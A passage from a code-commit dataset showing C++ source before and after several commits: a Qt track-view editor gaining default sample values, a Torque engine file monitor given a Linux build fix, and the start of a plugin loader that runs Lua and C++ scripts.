{\n        delete m_dataWidgetMapper;\n    }\n\n    Ui::PGTAPropertiesView *propertiesUi = m_propertiesView->GetUi();\n    m_dataWidgetMapper = new QDataWidgetMapper(this);\n    m_dataWidgetMapper->setSubmitPolicy(QDataWidgetMapper::AutoSubmit);\n    m_dataWidgetMapper->setModel(model);\n    m_dataWidgetMapper->addMapping(propertiesUi->EditName, PGTATrackTreeModel::SampleColumn_Name);\n    m_dataWidgetMapper->addMapping(propertiesUi->EditDefaultFile, PGTATrackTreeModel::SampleColumn_DefaultFile);\n    m_dataWidgetMapper->addMapping(propertiesUi->EditStartTime, PGTATrackTreeModel::SampleColumn_StartTime);\n    m_dataWidgetMapper->addMapping(propertiesUi->EditPeriod, PGTATrackTreeModel::SampleColumn_Period);\n    m_dataWidgetMapper->addMapping(propertiesUi->EditDeviation, PGTATrackTreeModel::SampleColumn_PeriodDeviation);\n    m_dataWidgetMapper->addMapping(propertiesUi->EditProbability, PGTATrackTreeModel::SampleColumn_Probability);\n    m_dataWidgetMapper->addMapping(propertiesUi->EditGain, PGTATrackTreeModel::SampleColumn_Gain);\n    connect(m_treeView->selectionModel(), SIGNAL(currentChanged(QModelIndex,QModelIndex)),\n        this, SLOT(treeViewRowColChange(QModelIndex)));\n}\n\nvoid PGTATrackView::treeViewRowColChange(const QModelIndex &index)\n{\n    if (!m_treeView)\n    {\n        return;\n    }\n\n    m_dataWidgetMapper->setRootIndex(index.parent());\n    m_dataWidgetMapper->setCurrentModelIndex(index);\n    if (static_cast<PGTATrackTreeModel*>(m_treeView->model())->isGroup(index))\n    {\n        m_propertiesView->SetSamplePropertiesShown(false);\n    }\n    else\n    {\n        m_propertiesView->SetSamplePropertiesShown(true);\n    }\n}\n\nvoid PGTATrackView::onCustomContextMenu(const QPoint &point)\n{\n    if (!m_treeView)\n    {\n        return;\n    }\n\n    QModelIndex index = m_treeView->indexAt(point);\n    QPoint globalPos = m_treeView->mapToGlobal(point);\n    PGTATrackTreeModel *model = static_cast<PGTATrackTreeModel*>(m_treeView->model());\n    QMenu myMenu;\n\n    QAction *insertSampleAction = myMenu.addAction(\"Insert Sample\");\n    connect(insertSampleAction, SIGNAL(triggered()), this, SLOT(slotInsertSample()));\n\n    if (index.isValid())\n    {\n        QString removeText = \"Remove Sample\";\n        if (model->isGroup(index))\n        {\n            removeText = \"Remove Group\";\n        }\n        QAction *removeTrackItemAction = myMenu.addAction(removeText);\n        connect(removeTrackItemAction, SIGNAL(triggered()), this, SLOT(slotRemoveTrackItem()));\n    }\n    else\n    {\n        QAction *insertGroupAction = myMenu.addAction(\"Insert Group\");\n        connect(insertGroupAction, SIGNAL(triggered()), this, SLOT(slotInsertGroup()));\n    }\n    myMenu.exec(globalPos);\n}\n\nvoid PGTATrackView::slotInsertGroup()\n{\n    if (!m_treeView)\n    {\n        return;\n    }\n\n    PGTATrackTreeModel *model = static_cast<PGTATrackTreeModel*>(m_treeView->model());\n    QModelIndex rootIndex = m_treeView->rootIndex();\n    QModelIndex index = m_treeView->selectionModel()->currentIndex();\n    if (index.parent() != rootIndex)\n    {\n        index = rootIndex;\n    }\n\n    if (!model->insertRow(index.row()+1, index.parent()))\n    {\n        return;\n    }\n    QModelIndex child = model->index(index.row()+1, 0, index.parent());\n    model->setIsGroup(child);\n    for (int column = 0; column < model->columnCount(index.parent()); ++column)\n    {\n        child = model->index(index.row()+1, column, index.parent());\n        switch (column)\n        {\n            case PGTATrackTreeModel::GroupColumn_Name :\n                model->setData(child, QVariant(\"[Group Name]\"), Qt::EditRole);\n                break;\n            case PGTATrackTreeModel::GroupColumn_UUID :\n                model->setData(child, model->getUuid(child), Qt::EditRole);\n                break;\n            default:\n                break;\n        }\n    }\n}\n\nvoid PGTATrackView::slotInsertSample()\n{\n    if (!m_treeView)\n    {\n        return;\n    }\n\n    QModelIndex selectedIndex = m_treeView->selectionModel()->currentIndex();\n    PGTATrackTreeModel *model = static_cast<PGTATrackTreeModel*>(m_treeView->model());\n\n    int position = 0;\n    \/\/ set column to column 0 otherwise inserting child doesn't work\n    QModelIndex index = model->index(selectedIndex.row(), 0, selectedIndex.parent());\n\n    \/\/ check if selection is on first level\n    if (!model->isGroup(index))\n    {\n        position = index.row() + 1; \/\/ index of current selection + 1\n        index = index.parent();\n    }\n\n    if (!model->insertRow(position, index))\n    {\n        return;\n    }\n\n    for (int column = 0; column < model->columnCount(index); ++column)\n    {\n        QModelIndex child = model->index(position, column, index);\n        switch (column)\n        {\n            case PGTATrackTreeModel::SampleColumn_Name :\n                model->setData(child, QVariant(\"[Sample Name]\"), Qt::EditRole);\n                break;\n            case PGTATrackTreeModel::SampleColumn_GroupUUID :\n                model->setData(child, model->getUuid(index), Qt::EditRole);\n                break;\n            case PGTATrackTreeModel::SampleColumn_Gain :\n                model->setData(child, QVariant(std::numeric_limits<int>::max()\/2.0f), Qt::EditRole);\n                break;\n            default:\n                model->setData(child, QVariant(\"[No data]\"), Qt::EditRole);\n                break;\n        }\n\n        if (!model->headerData(column, Qt::Horizontal).isValid())\n        {\n            model->setHeaderData(column, Qt::Horizontal, QVariant(\"[No header]\"), Qt::EditRole);\n        }\n    }\n    m_treeView->selectionModel()->setCurrentIndex(model->index(position, 0, index),\n                                            QItemSelectionModel::ClearAndSelect);\n}\n\nvoid PGTATrackView::slotRemoveTrackItem()\n{\n    if (!m_treeView)\n    {\n        return;\n    }\n\n    QModelIndex index = m_treeView->selectionModel()->currentIndex();\n    if (!index.isValid())\n    {\n        return;\n    }\n\n    PGTATrackTreeModel *model = static_cast<PGTATrackTreeModel*>(m_treeView->model());\n    if(model->removeRow(index.row(), index.parent()))\n    {\n        m_treeView->selectionModel()->clear();\n        if (m_propertiesView)\n        {\n            m_propertiesView->ClearProperyValues();\n        }\n    }\n}\n\nvoid PGTATrackView::slotMeasuredInBeats(bool isChecked)\n{\n     PGTATrackTreeModel *model = static_cast<PGTATrackTreeModel*>(m_treeView->model());\n     model->setIsMeasuredInBeats(isChecked);\n}\n\n<commit_msg>Added default values for samples.<commit_after>\n#include <QPaintEvent>\n#include <QPainter>\n#include <QMenu>\n#include <QPoint>\n#include <limits>\n#include \"PGTATrackView.h\"\n#include \"ui_PGTATrackView.h\"\n#include \"PGTATreeView.h\"\n#include \"PGTAPropertiesView.h\"\n#include \"ui_PGTAPropertiesView.h\"\n#include \"PGTATrackTreeModel.h\"\n\nPGTATrackView::PGTATrackView(QWidget *parent) :\n    QWidget(parent),\n    ui(new Ui::PGTATrackView),\n    m_treeView(nullptr),\n    m_dataWidgetMapper(nullptr),\n    m_propertiesView(nullptr)\n{\n    ui->setupUi(this);\n    m_treeView = new PGTATreeView(this);\n    m_treeView->header()->hide();\n    ui->mainLayout->addWidget(m_treeView);\n    SetupAddButtonMenu();\n    ConnectSignals();\n}\n\nPGTATrackView::~PGTATrackView()\n{\n    delete m_treeView;\n    delete m_dataWidgetMapper;\n    delete ui;\n}\n\nvoid PGTATrackView::ConnectSignals()\n{\n    \/\/ connect singnals and slots\n    connect(m_treeView, SIGNAL(customContextMenuRequested(QPoint)), this,\n            SLOT(onCustomContextMenu(const QPoint &)));\n    connect(ui->removeTrackItemButton, SIGNAL(clicked()), this, SLOT(slotRemoveTrackItem()));\n    connect(ui->BeatsCheckBox, SIGNAL(toggled(bool)), this, SLOT(slotMeasuredInBeats(bool)));\n}\n\nvoid PGTATrackView::SetupAddButtonMenu()\n{\n    \/\/ setup tool button context menu for add sample\/group button\n    QMenu *menu = new QMenu();\n    QAction *addGroup = menu->addAction(\"Add Group\");\n    connect(addGroup, SIGNAL(triggered()), this, SLOT(slotInsertGroup()));\n    QAction *addSample = menu->addAction(\"Add Sample\");\n    connect(addSample, SIGNAL(triggered()), this, SLOT(slotInsertSample()));\n    ui->addTrackItemButton->setPopupMode(QToolButton::InstantPopup);\n    ui->addTrackItemButton->setMenu(menu);\n}\n\nvoid PGTATrackView::paintEvent(QPaintEvent *)\n{\n    QStyleOption opt;\n    opt.init(this);\n    QPainter p(this);\n    style()->drawPrimitive(QStyle::PE_Widget, &opt, &p, this);\n}\n\nvoid PGTATrackView::SetTreeViewModel(QAbstractItemModel *model)\n{\n    if (!model)\n    {\n        return;\n    }\n\n    m_treeView->setModel(model);\n    \/\/ only show first column track tree view\n    for (int i = 1; i < model->columnCount(); ++i)\n    {\n        m_treeView->hideColumn(i);\n    }\n\n    \/\/HACKHACKHACK\n    PGTATrackTreeModel *model1 = static_cast<PGTATrackTreeModel*>(model);\n    ui->BeatsCheckBox->setChecked(model1->getIsMeasuredInBeats());\n    ConnectDataWidgetMapper(model);\n}\n\nvoid PGTATrackView::SetPropertiesView(PGTAPropertiesView *propertiesView)\n{\n    m_propertiesView = propertiesView;\n    if (!m_treeView)\n    {\n        return;\n    }\n\n    QAbstractItemModel *model = m_treeView->model();\n    if (model)\n    {\n        ConnectDataWidgetMapper(model);\n    }\n}\n\nvoid PGTATrackView::ConnectDataWidgetMapper(QAbstractItemModel *model)\n{\n    if (!m_propertiesView || !model)\n    {\n        return;\n    }\n\n    if (m_dataWidgetMapper)\n    {\n        delete m_dataWidgetMapper;\n    }\n\n    Ui::PGTAPropertiesView *propertiesUi = m_propertiesView->GetUi();\n    m_dataWidgetMapper = new QDataWidgetMapper(this);\n    m_dataWidgetMapper->setSubmitPolicy(QDataWidgetMapper::AutoSubmit);\n    m_dataWidgetMapper->setModel(model);\n    m_dataWidgetMapper->addMapping(propertiesUi->EditName, PGTATrackTreeModel::SampleColumn_Name);\n    m_dataWidgetMapper->addMapping(propertiesUi->EditDefaultFile, PGTATrackTreeModel::SampleColumn_DefaultFile);\n    m_dataWidgetMapper->addMapping(propertiesUi->EditStartTime, PGTATrackTreeModel::SampleColumn_StartTime);\n    m_dataWidgetMapper->addMapping(propertiesUi->EditPeriod, PGTATrackTreeModel::SampleColumn_Period);\n    m_dataWidgetMapper->addMapping(propertiesUi->EditDeviation, PGTATrackTreeModel::SampleColumn_PeriodDeviation);\n    m_dataWidgetMapper->addMapping(propertiesUi->EditProbability, PGTATrackTreeModel::SampleColumn_Probability);\n    m_dataWidgetMapper->addMapping(propertiesUi->EditGain, PGTATrackTreeModel::SampleColumn_Gain);\n    connect(m_treeView->selectionModel(), SIGNAL(currentChanged(QModelIndex,QModelIndex)),\n        this, SLOT(treeViewRowColChange(QModelIndex)));\n}\n\nvoid PGTATrackView::treeViewRowColChange(const QModelIndex &index)\n{\n    if (!m_treeView)\n    {\n        return;\n    }\n\n    m_dataWidgetMapper->setRootIndex(index.parent());\n    m_dataWidgetMapper->setCurrentModelIndex(index);\n    if (static_cast<PGTATrackTreeModel*>(m_treeView->model())->isGroup(index))\n    {\n        m_propertiesView->SetSamplePropertiesShown(false);\n    }\n    else\n    {\n        m_propertiesView->SetSamplePropertiesShown(true);\n    }\n}\n\nvoid PGTATrackView::onCustomContextMenu(const QPoint &point)\n{\n    if (!m_treeView)\n    {\n        return;\n    }\n\n    QModelIndex index = m_treeView->indexAt(point);\n    QPoint globalPos = m_treeView->mapToGlobal(point);\n    PGTATrackTreeModel *model = static_cast<PGTATrackTreeModel*>(m_treeView->model());\n    QMenu myMenu;\n\n    QAction *insertSampleAction = myMenu.addAction(\"Insert Sample\");\n    connect(insertSampleAction, SIGNAL(triggered()), this, SLOT(slotInsertSample()));\n\n    if (index.isValid())\n    {\n        QString removeText = \"Remove Sample\";\n        if (model->isGroup(index))\n        {\n            removeText = \"Remove Group\";\n        }\n        QAction *removeTrackItemAction = myMenu.addAction(removeText);\n        connect(removeTrackItemAction, SIGNAL(triggered()), this, SLOT(slotRemoveTrackItem()));\n    }\n    else\n    {\n        QAction *insertGroupAction = myMenu.addAction(\"Insert Group\");\n        connect(insertGroupAction, SIGNAL(triggered()), this, SLOT(slotInsertGroup()));\n    }\n    myMenu.exec(globalPos);\n}\n\nvoid PGTATrackView::slotInsertGroup()\n{\n    if (!m_treeView)\n    {\n        return;\n    }\n\n    PGTATrackTreeModel *model = static_cast<PGTATrackTreeModel*>(m_treeView->model());\n    QModelIndex rootIndex = m_treeView->rootIndex();\n    QModelIndex index = m_treeView->selectionModel()->currentIndex();\n    if (index.parent() != rootIndex)\n    {\n        index = rootIndex;\n    }\n\n    if (!model->insertRow(index.row()+1, index.parent()))\n    {\n        return;\n    }\n    QModelIndex child = model->index(index.row()+1, 0, index.parent());\n    model->setIsGroup(child);\n    for (int column = 0; column < model->columnCount(index.parent()); ++column)\n    {\n        child = model->index(index.row()+1, column, index.parent());\n        switch (column)\n        {\n            case PGTATrackTreeModel::GroupColumn_Name :\n                model->setData(child, QVariant(\"[Group Name]\"), Qt::EditRole);\n                break;\n            case PGTATrackTreeModel::GroupColumn_UUID :\n                model->setData(child, model->getUuid(child), Qt::EditRole);\n                break;\n            default:\n                break;\n        }\n    }\n}\n\nvoid PGTATrackView::slotInsertSample()\n{\n    if (!m_treeView)\n    {\n        return;\n    }\n\n    QModelIndex selectedIndex = m_treeView->selectionModel()->currentIndex();\n    PGTATrackTreeModel *model = static_cast<PGTATrackTreeModel*>(m_treeView->model());\n\n    int position = 0;\n    \/\/ set column to column 0 otherwise inserting child doesn't work\n    QModelIndex index = model->index(selectedIndex.row(), 0, selectedIndex.parent());\n\n    \/\/ check if selection is on first level\n    if (!model->isGroup(index))\n    {\n        position = index.row() + 1; \/\/ index of current selection + 1\n        index = index.parent();\n    }\n\n    if (!model->insertRow(position, index))\n    {\n        return;\n    }\n\n    for (int column = 0; column < model->columnCount(index); ++column)\n    {\n        QModelIndex child = model->index(position, column, index);\n        switch (column)\n        {\n            case PGTATrackTreeModel::SampleColumn_Name:\n                model->setData(child, QVariant(\"[Sample Name]\"), Qt::EditRole);\n                break;\n            case PGTATrackTreeModel::SampleColumn_DefaultFile:\n                model->setData(child, QVariant(), Qt::EditRole);\n                break;\n            case PGTATrackTreeModel::SampleColumn_StartTime:\n                model->setData(child, QVariant(0), Qt::EditRole);\n                break;\n            case PGTATrackTreeModel::SampleColumn_Period:\n                model->setData(child, QVariant(0), Qt::EditRole);\n                break;\n            case PGTATrackTreeModel::SampleColumn_PeriodDeviation:\n                model->setData(child, QVariant(0), Qt::EditRole);\n                break;\n            case PGTATrackTreeModel::SampleColumn_Probability:\n                model->setData(child, QVariant(1), Qt::EditRole);\n                break;\n            case PGTATrackTreeModel::SampleColumn_GroupUUID :\n                model->setData(child, model->getUuid(index), Qt::EditRole);\n                break;\n            case PGTATrackTreeModel::SampleColumn_Gain :\n                model->setData(child, QVariant(std::numeric_limits<int>::max()\/2.0f), Qt::EditRole);\n                break;\n            default:\n                break;\n        }\n\n        if (!model->headerData(column, Qt::Horizontal).isValid())\n        {\n            model->setHeaderData(column, Qt::Horizontal, QVariant(\"[No header]\"), Qt::EditRole);\n        }\n    }\n    m_treeView->selectionModel()->setCurrentIndex(model->index(position, 0, index),\n                                            QItemSelectionModel::ClearAndSelect);\n}\n\nvoid PGTATrackView::slotRemoveTrackItem()\n{\n    if (!m_treeView)\n    {\n        return;\n    }\n\n    QModelIndex index = m_treeView->selectionModel()->currentIndex();\n    if (!index.isValid())\n    {\n        return;\n    }\n\n    PGTATrackTreeModel *model = static_cast<PGTATrackTreeModel*>(m_treeView->model());\n    if(model->removeRow(index.row(), index.parent()))\n    {\n        m_treeView->selectionModel()->clear();\n        if (m_propertiesView)\n        {\n            m_propertiesView->ClearProperyValues();\n        }\n    }\n}\n\nvoid PGTATrackView::slotMeasuredInBeats(bool isChecked)\n{\n     PGTATrackTreeModel *model = static_cast<PGTATrackTreeModel*>(m_treeView->model());\n     model->setIsMeasuredInBeats(isChecked);\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/-----------------------------------------------------------------------------\n\/\/ Copyright (c) 2013 GarageGames, LLC\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to\n\/\/ deal in the Software without restriction, including without limitation the\n\/\/ rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n\/\/ sell copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n\/\/ IN THE SOFTWARE.\n\/\/-----------------------------------------------------------------------------\n\n#include \"platform\/platform.h\"\n#include \"platform\/platformFileMonitor.h\"\n#include \"collection\/vector.h\"\n#include \"console\/console.h\"\n#include \"string\/stringTable.h\"\n#include \"io\/resource\/resourceManager.h\"\n\n\/\/-----------------------------------------------------------------------------\n\nstruct PlatformFileMonitor\n{\n   bool                       firstRun;\n   StringTableEntry           path;\n   StringTableEntry           fileName;\n   PlatformFileChangeDelegate callback;\n   FileTime                   createTime;\n   FileTime                   modifyTime;\n};\n\ntypedef Vector<PlatformFileMonitor> PlatformDirectoryMonitor;\ntypedef HashMap<StringTableEntry, PlatformDirectoryMonitor> PlatformDirectoryMonitorTable;\nPlatformDirectoryMonitorTable dirMonitorMap;\n\nbool addFileMonitor(StringTableEntry path, PlatformFileChangeDelegate callback)\n{\n   StringTableEntry dirName = Platform::stripFileName(path);\n   StringTableEntry fileName = Platform::stripDirectory(path);\n\n   PlatformFileMonitor fileMonitor;\n   fileMonitor.firstRun = true;\n   fileMonitor.fileName = fileName;\n   fileMonitor.path = path;\n   fileMonitor.callback = callback;\n\n   PlatformDirectoryMonitorTable::iterator itr = dirMonitorMap.find(dirName);\n   if (itr != dirMonitorMap.end())\n   {\n      PlatformDirectoryMonitor* dirMonitor = &dirMonitorMap[dirName];\n      for (U32 n = 0; n < dirMonitor->size(); ++n)\n      {\n         PlatformFileMonitor* fileMonitor = &dirMonitor->at(n);\n         if (dStrcmp(fileMonitor->fileName, fileName) == 0)\n            return false;\n      }\n      dirMonitor->push_back(fileMonitor);\n      onDirectoryChanged(dirName);\n      return true;\n   }\n   else {\n      PlatformDirectoryMonitor dirMonitor;\n      dirMonitor.push_back(fileMonitor);\n      dirMonitorMap.insert(dirName, dirMonitor);\n      addDirectoryMonitor(dirName);\n      onDirectoryChanged(dirName);\n      return true;\n   }\n\n   return false;\n}\n\nbool removeFileMonitor(StringTableEntry path)\n{\n   StringTableEntry dirName = Platform::stripFileName(path);\n   removeDirectoryMonitor(dirName);\n   return true;\n}\n\nvoid onDirectoryChanged(StringTableEntry path)\n{\n   PlatformDirectoryMonitorTable::iterator itr = dirMonitorMap.find(path);\n   if (itr == dirMonitorMap.end())\n      return;\n\n   PlatformDirectoryMonitor* dirMonitor = &dirMonitorMap[path];\n   Vector < Platform::FileInfo > fileInfoVec;\n   Platform::dumpPath(path, fileInfoVec);\n\n   \/\/Con::printf(\"Dir: %s, Size: %d\", path, dirMonitor->size());\n\n   for (U32 n = 0; n < dirMonitor->size(); ++n)\n   {\n      PlatformFileMonitor* fileMonitor = &dirMonitor->at(n);\n      for (U32 i = 0; i < fileInfoVec.size(); ++i)\n      {\n         if (dStrcmp(fileMonitor->fileName, fileInfoVec[i].pFileName) == 0 && dStrlen(fileMonitor->fileName) == dStrlen(fileInfoVec[i].pFileName))\n         {\n            FileTime createTime;\n            FileTime modifyTime;\n            \/\/Con::printf(\"Getting file times: %s %s\", fileInfoVec[i].pFullPath, fileInfoVec[i].pFileName);\n            Platform::getFileTimes(fileMonitor->path, &createTime, &modifyTime);\n            \n            \/\/Con::printf(\"COMPARING [n=%d, i=%d]: %s %s\", n, i, fileMonitor->fileName, fileInfoVec[i].pFileName);\n            if (fileMonitor->firstRun || \n               fileMonitor->createTime.v1 != createTime.v1 || fileMonitor->createTime.v2 != createTime.v2 ||\n               fileMonitor->modifyTime.v1 != modifyTime.v1 || fileMonitor->modifyTime.v2 != modifyTime.v2)\n            {\n               fileMonitor->createTime.v1 = createTime.v1;\n               fileMonitor->createTime.v2 = createTime.v2;\n               fileMonitor->modifyTime.v1 = modifyTime.v1;\n               fileMonitor->modifyTime.v2 = modifyTime.v2;\n\n               if (fileMonitor->firstRun)\n                  fileMonitor->firstRun = false;\n               else\n                  fileMonitor->callback(fileMonitor->path);\n            }\n         }\n      }\n   }\n}<commit_msg>Linux build fix.<commit_after>\/\/-----------------------------------------------------------------------------\n\/\/ Copyright (c) 2013 GarageGames, LLC\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to\n\/\/ deal in the Software without restriction, including without limitation the\n\/\/ rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n\/\/ sell copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n\/\/ IN THE SOFTWARE.\n\/\/-----------------------------------------------------------------------------\n\n#include \"platform\/platform.h\"\n#include \"platform\/platformFileMonitor.h\"\n#include \"collection\/vector.h\"\n#include \"console\/console.h\"\n#include \"string\/stringTable.h\"\n#include \"io\/resource\/resourceManager.h\"\n\n\/\/-----------------------------------------------------------------------------\n\nstruct PlatformFileMonitor\n{\n   bool                       firstRun;\n   StringTableEntry           path;\n   StringTableEntry           fileName;\n   PlatformFileChangeDelegate callback;\n   FileTime                   createTime;\n   FileTime                   modifyTime;\n};\n\ntypedef Vector<PlatformFileMonitor> PlatformDirectoryMonitor;\ntypedef HashMap<StringTableEntry, PlatformDirectoryMonitor> PlatformDirectoryMonitorTable;\nPlatformDirectoryMonitorTable dirMonitorMap;\n\nbool addFileMonitor(StringTableEntry path, PlatformFileChangeDelegate callback)\n{\n   StringTableEntry dirName = Platform::stripFileName(path);\n   StringTableEntry fileName = Platform::stripDirectory(path);\n\n   PlatformFileMonitor fileMonitor;\n   fileMonitor.firstRun = true;\n   fileMonitor.fileName = fileName;\n   fileMonitor.path = path;\n   fileMonitor.callback = callback;\n\n   PlatformDirectoryMonitorTable::iterator itr = dirMonitorMap.find(dirName);\n   if (itr != dirMonitorMap.end())\n   {\n      PlatformDirectoryMonitor* dirMonitor = &dirMonitorMap[dirName];\n      for (U32 n = 0; n < dirMonitor->size(); ++n)\n      {\n         PlatformFileMonitor* fileMonitor = &dirMonitor->at(n);\n         if (dStrcmp(fileMonitor->fileName, fileName) == 0)\n            return false;\n      }\n      dirMonitor->push_back(fileMonitor);\n      onDirectoryChanged(dirName);\n      return true;\n   }\n   else {\n      PlatformDirectoryMonitor dirMonitor;\n      dirMonitor.push_back(fileMonitor);\n      dirMonitorMap.insert(dirName, dirMonitor);\n      addDirectoryMonitor(dirName);\n      onDirectoryChanged(dirName);\n      return true;\n   }\n\n   return false;\n}\n\nbool removeFileMonitor(StringTableEntry path)\n{\n   StringTableEntry dirName = Platform::stripFileName(path);\n   removeDirectoryMonitor(dirName);\n   return true;\n}\n\nvoid onDirectoryChanged(StringTableEntry path)\n{\n   PlatformDirectoryMonitorTable::iterator itr = dirMonitorMap.find(path);\n   if (itr == dirMonitorMap.end())\n      return;\n\n   PlatformDirectoryMonitor* dirMonitor = &dirMonitorMap[path];\n   Vector < Platform::FileInfo > fileInfoVec;\n   Platform::dumpPath(path, fileInfoVec);\n\n   \/\/Con::printf(\"Dir: %s, Size: %d\", path, dirMonitor->size());\n\n   for (U32 n = 0; n < dirMonitor->size(); ++n)\n   {\n      PlatformFileMonitor* fileMonitor = &dirMonitor->at(n);\n      for (U32 i = 0; i < fileInfoVec.size(); ++i)\n      {\n         if (dStrcmp(fileMonitor->fileName, fileInfoVec[i].pFileName) == 0 && dStrlen(fileMonitor->fileName) == dStrlen(fileInfoVec[i].pFileName))\n         {\n#ifdef TORQUE_OS_WIN32\n            FileTime createTime;\n            FileTime modifyTime;\n            \/\/Con::printf(\"Getting file times: %s %s\", fileInfoVec[i].pFullPath, fileInfoVec[i].pFileName);\n            Platform::getFileTimes(fileMonitor->path, &createTime, &modifyTime);\n            \n            \/\/Con::printf(\"COMPARING [n=%d, i=%d]: %s %s\", n, i, fileMonitor->fileName, fileInfoVec[i].pFileName);\n            if (fileMonitor->firstRun || \n               fileMonitor->createTime.v1 != createTime.v1 || fileMonitor->createTime.v2 != createTime.v2 ||\n               fileMonitor->modifyTime.v1 != modifyTime.v1 || fileMonitor->modifyTime.v2 != modifyTime.v2)\n            {\n               fileMonitor->createTime.v1 = createTime.v1;\n               fileMonitor->createTime.v2 = createTime.v2;\n               fileMonitor->modifyTime.v1 = modifyTime.v1;\n               fileMonitor->modifyTime.v2 = modifyTime.v2;\n\n               if (fileMonitor->firstRun)\n                  fileMonitor->firstRun = false;\n               else\n                  fileMonitor->callback(fileMonitor->path);\n            }\n#endif\n         }\n      }\n   }\n}<|endoftext|>"}
{"text":"<commit_before>\/*\r\nCopyright (c), Helios\r\nAll rights reserved.\r\n\r\nDistributed under a permissive license. See COPYING.txt for details.\r\n*\/\r\n\r\n#include \"PluginCoreState.h\"\r\n#include \"..\/LoadedImage.h\"\r\n#include \"..\/MainWindow.h\"\r\n#include <QFile>\r\n#include <QFileInfo>\r\n#include <QMessageBox>\r\n#include <QDir>\r\n#ifdef WIN32\r\n#include <Windows.h>\r\n#endif\r\n\r\nconst char * const accepted_cpp_extensions[] = {\r\n\t\"cpp\",\r\n\t\"c\",\r\n\t\"cc\",\r\n\t\"cxx\",\r\n\t\"c++\",\r\n};\r\nconst size_t accepted_cpp_extensions_size = sizeof(accepted_cpp_extensions) \/ sizeof(*accepted_cpp_extensions);\r\n\r\nbool is_cpp_path(const QString &path){\r\n\tauto file_extension = QFileInfo(path).suffix();\r\n\tfor (auto &ext : accepted_cpp_extensions)\r\n\t\tif (!file_extension.compare(QString(ext), Qt::CaseInsensitive))\r\n\t\t\treturn true;\r\n\treturn false;\r\n}\r\n\r\nbool is_lua_path(const QString &path){\r\n\tauto file_extension = QFileInfo(path).suffix().toLower();\r\n\treturn file_extension == \"lua\";\r\n}\r\n\r\nPluginCoreState::PluginCoreState(){\r\n}\r\n\r\nvoid PluginCoreState::execute(const QString &path){\r\n\tif (!QFile::exists(path))\r\n\t\tthrow std::exception(\"File not found.\");\r\n\tif (is_cpp_path(path))\r\n\t\tthis->execute_cpp(path);\r\n\tif (is_lua_path(path))\r\n\t\tthis->execute_lua(path);\r\n}\r\n\r\n#define RESOLVE_FUNCTION(lib, x) auto x = (x##_f)lib.resolve(#x)\r\n\r\nvoid PluginCoreState::execute_lua(const QString &path){\r\n\tif (!this->lua_library.isLoaded()){\r\n\t\tthis->lua_library.setFileName(\"LuaInterpreter\");\r\n\t\tthis->lua_library.load();\r\n\t}\r\n\tthis->caller_image_handle = -1;\r\n\tQFile file(path);\r\n\tfile.open(QFile::ReadOnly);\r\n\tif (!file.isOpen())\r\n\t\tthrow std::exception(\"Unknown error while reading file.\");\r\n\tauto data = file.readAll();\r\n\t\r\n\tauto filename = QFileInfo(path).fileName();\r\n\r\n\tRESOLVE_FUNCTION(this->lua_library, new_LuaInterpreter);\r\n\tRESOLVE_FUNCTION(this->lua_library, delete_LuaInterpreter);\r\n\tRESOLVE_FUNCTION(this->lua_library, LuaInterpreter_execute);\r\n\tRESOLVE_FUNCTION(this->lua_library, delete_LuaCallResult);\r\n\r\n\tauto params = this->construct_LuaInterpreterParameters();\r\n\tstd::shared_ptr<LuaInterpreter> interpreter(new_LuaInterpreter(&params), [=](LuaInterpreter *i){ delete_LuaInterpreter(i); });\r\n\r\n\tCallResult result;\r\n\tLuaInterpreter_execute(&result, interpreter.get(), filename.toUtf8().toStdString().c_str(), data.data(), data.size());\r\n\tdelete_LuaCallResult(&result);\r\n}\r\n\r\nint PluginCoreState::get_caller_image_handle(){\r\n\tif (this->caller_image_handle >= 0)\r\n\t\treturn this->caller_image_handle;\r\n\treturn this->caller_image_handle = this->image_store.store(this->latest_caller->get_image());\r\n}\r\n\r\nvoid PluginCoreState::display_in_caller(int handle){\r\n\tauto image = this->get_store().get_image(handle);\r\n\tif (image)\r\n\t\tthis->latest_caller->display_filtered_image(std::make_shared<LoadedImage>(image->get_bitmap()));\r\n}\r\n\r\nchar *clone_string(const char *s){\r\n\tif (!s)\r\n\t\treturn nullptr;\r\n\tauto n = strlen(s);\r\n\tauto ret = new char[n + 1];\r\n\tmemcpy(ret, s, n);\r\n\tret[n] = 0;\r\n\treturn ret;\r\n}\r\n\r\nchar *clone_string(const std::string &s){\r\n\tauto n = s.size();\r\n\tif (!n)\r\n\t\treturn nullptr;\r\n\tauto ret = new char[n 